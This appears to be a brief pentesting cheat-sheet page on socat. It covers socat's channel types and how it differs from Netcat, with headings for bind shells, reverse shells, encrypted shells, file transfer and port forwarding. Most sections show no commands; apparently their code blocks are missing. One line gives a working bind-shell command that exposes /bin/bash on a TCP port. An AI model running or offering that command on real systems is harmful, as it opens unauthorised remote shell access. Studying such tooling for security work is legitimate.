Socat
Socat supports data communication in both directions between a sender and a receiver
This also supports transferring data between those two channels independently
Data channels used by socat can be in the form of,
A file or An executable program
File Descriptor ( 0 - STDIN , 1 - STDOUT , 2 - STDERR )
Pipe
Serial port communication of device
Sockets ( RAW, TCP, UDP, IPv4, IPv6, UNIX)
SSL Sockets ( Socket Data + SSL Encryption )
CONNECT with Proxy
Socat is similar to Netcat, but it supports some additional features like,
Multiple connections
Usage of secure protocols ( OpenSSL , Sockets , VPN Tunnel , SCTP )
BIND SHELL
VICTIM
socat tcp4-listen:5555 exec:/bin/bashATTACKER
REVERSE SHELL
ATTACKER
VICTIM
ENCRYPTED BIND SHELL
VICTIM
ATTACKER
ENCRYPTED REVERSE SHELL
ATTACKER
VICTIM
FILE TRANSFER
ATTACKER
VICTIM
PORT FORWARDING
RUNNING ELF BINARIES IN SERVER
Last updated